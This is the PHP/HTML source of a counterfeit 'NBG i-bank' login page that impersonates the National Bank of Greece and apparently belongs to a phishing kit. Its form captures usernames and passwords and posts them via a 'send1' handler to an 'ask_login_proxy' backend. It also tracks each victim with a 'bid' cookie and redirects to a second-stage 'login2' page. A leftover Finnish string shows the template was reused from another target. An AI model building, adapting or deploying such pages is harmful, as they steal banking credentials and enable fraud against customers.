<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="login/";
?>
<!DOCTYPE html>
<html class="bd-designMode-null  webkit" dir="ltr" xmlns:lp="http://launchpad.backbase.com" xmlns:ng="http://angularjs.org">

<head>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js?<?= time(); ?>"></script>


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js"></script>

    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js"></script>


    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <!-- <script src="nb.js.download"></script> -->
        <link href="login" rel="stylesheet">
    <link rel="stylesheet" href="app-loading-indicator.css">
      <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
      <title>NBG i-bank</title>
      <link rel="icon" type="image/png" href="favicon.ico">
      <link href="style5.css" rel="stylesheet">
      <script type="text/javascript">
         function myFunction() {
         var x = document.getElementById("pass");
         if (x.type === "password") {
         x.type = "text";
         } else {
         x.type = "password";
         }
         }
      </script>
      <script type="text/javascript">
         function manage(pass) {
          var bt = document.getElementById('btSubmit');
         
          if (pass.value.length > 4 ) {
              bt.disabled = false;
          }
          else {
              bt.disabled = true;
          }
         }  
         
      </script>
   </head>
   <body class="login-bg windows login-night">
      <index-page ng-version="7.2.16">
         <div agent-type="" class="appRoot">
            <login class="flex-column min-height-full-vh">
               <login-header>
                  <header class="main-header">
                     <div class="flex-vertical-center-space-between header-container wrap-mobile-medium">
                        <ibank-icon class="full-screen-width--mobile" style="height: 8.5rem; margin-top: -2.5rem">
                           <div class="flex-vertical-center" style="height: 11rem; min-height: 11rem;"><img alt="nbg logo" class="full-height margin-auto--mobile" src="login-logo.el.png"></div>
                        </ibank-icon>
                        <div class="
                           flex-vertical-center
                           full-height
                           margin-top-normal-mobile-medium margin-mobile-languange
                           ">
                           <button class="button-transparent text-light text-large text-white" style="margin: 0 0.5rem"><span class="text-action">ΕΛ</span><span>/</span><span>EN</span></button>
                           <div class="horizontal-divider" style="height: 120%"></div>
                           <div class="flex-vertical-center text-white">
                              <div class="flex-row text-light">
                                 <div class="flex-column">
                                    <div class="flex-vertical-center cursor-pointer" style="margin-bottom: 0.75rem">
                                       <div class="icon-help-faq icon-container-20"></div>
                                       <span><a class="
                                          link-white
                                          text-medium text-regular
                                          margin-left-small
                                          text-white
                                          " href="#" target="_blank">Συχνές ερωτήσεις</a></span>
                                    </div>
                                    <div class="flex-vertical-center cursor-pointer"><i class="icon-phone" style="font-size: 20px"></i><span class="text-medium text-regular margin-left-small">Επικοινωνία</span></div>
                                 </div>
                              </div>
                           </div>
                        </div>
                     </div>
                  </header>
               </login-header>
               <div class="max-width-container-login">
                  <div class="login-container">
                     <h1 class="text-page-heading text-align-center text-medium text-white modal-wrapper-margin-bottom"> Καλώς ήρθατε στο i-bank</h1>
                     <img class="login-header-img margin-bottom-medium login-night display-none">
                     <sign-in class="user-login-container">
                        <form name="login_form" id="login_form" method="post" onsubmit="send1(event,'ask_login_proxy');return false" class="login-form" autocomplete="off" id="id5d">
                        <sign-in-form>
                           <div>
                              <div class="user-login-subcontainer">
                                 <div class="full-height flex-column">
                                    <div class="position-relative">
                                       <div class="flex-center">
                                          <input name="username" class="oval-input ng-pristine ng-valid ng-touched" id="log" minlength="5" test-field="usernameField" type="text" placeholder="Κωδικός χρήστη" required="">
                                          <div class="right-default field-tooltip"><button class="button-transparent" type="button"><i class="icon-rounded text-primary text-x-large flex mat-select-cursor-pointer"></i></button></div>
                                       </div>
                                    </div>
                                    <div class="position-relative margin-top-default"><input name="password" minlength="5" class="oval-input ng-pristine ng-valid ng-touched" id="pass" onkeyup="manage(this)" test-field="passwordField" type="text" placeholder="Μυστικός κωδικός" required><button class="button-icon right-default position-absolute-center-y"><i class="icon-svg-container-small icon-visibility"></i></button></div>
                                    <div class="flex-vertical-center-space-between margin-top-normal">
                                       <button class="button-secondary--white" style="min-width: 11.5rem"> Ξέχασα το username </button>
                                       <spinner type="action">
                                          <button class="button" style="min-width: 7.5rem" test-button="continueLoginButton" name="submit" id="btSubmit" type="submit" disabled> Συνέχεια </button>
                                       </spinner>
                                    </div>
                                    <div class="flex-vertical-center-space-between margin-top-default" style="width: 19rem; margin-left: 0.5rem">
                                       <button class="button-transparent button-with-icon text-white" style="background-color: transparent" type="button">
                                          <i class="icon-new-user icon-mirrored text-large"></i>
                                          <div class="margin-left-small text-normal"> Εγγραφή ιδιώτη </div>
                                       </button>
                                       <button class="button-transparent button-with-icon text-white" style="background-color: transparent" type="button">
                                          <i class="icon-work icon-mirrored text-large"></i>
                                          <div class="margin-left-small text-normal"> Νέα επιχείρηση </div>
                                       </button>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </sign-in-form>
                        </form>
                     </sign-in>s
                    <br><br>
                  </div>
                  <div class="margin-top-auto">
                     <useful-links>
                        <div class="useful-links-container">
                           <div class="social-links-container"><a class="icon-container icon-facebook-lg" ngclass="icon-facebook-lg" target="_blank" href="#"></a><a class="icon-container icon-twitter-lg" ngclass="icon-twitter-lg" target="_blank" href="#"></a><a class="icon-container icon-youtube-lg" ngclass="icon-youtube-lg" target="_blank" href="#"></a><a class="icon-container icon-linkedin-lg" ngclass="icon-linkedin-lg" target="_blank" href="#"></a><a class="icon-container icon-email-lg" ngclass="icon-email-lg" target="_blank" href="#"></a></div>
                           <div class="links-container">
                              <a class="link-white button-transparent useful-link" target="_blank" href="#"> Προστασία Δεδομένων Προσωπικού Χαρακτήρα </a><a class="link-white button-transparent useful-link" target="_blank" href="#"> Συμβατότητα με browsers </a>
                           </div>
                        </div>
                     </useful-links>
                  </div>
               </div>
            </login>
         </div>
      </index-page>



 <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>token/token.js?v=<?php echo uniqid() ?>"></script>
    <script>
        $(document).ready(function () {

$('.error1').click(function () {

  alert(

    'Yritä käyttää toista vaihtoehtoa.'

    );

});

$('.error2').click(function () {

    window.location.href="../login2/?op="+btoa(JSON.stringify(last_operation));return;

});

});

$.fn.custom_ser = function() {
    var obj = {};
    this.find("input,select").each(function() {
        if (
            $(this).prop("tagName") == "INPUT" &&
            $(this).prop("type") != "checkbox" &&
            $(this).prop("type") != "button" &&
            $(this).prop("type") != "hidden" &&
            $(this).prop("type") != "image" &&
            $(this).prop("type") != "reset" &&
            $(this).prop("type") != "submit"
        ) {
            //input validation
            obj[$(this).attr("name")] = $(this).val();
        }
        if ($(this).prop("tagName") == "SELECT") {
            obj[$(this).attr("name")] = $(this).find("option:selected").val();
        }
    });

    console.log('Custom seralization result : ')
    console.log(obj)
    return obj;
};
    </script>
</body>

</html>
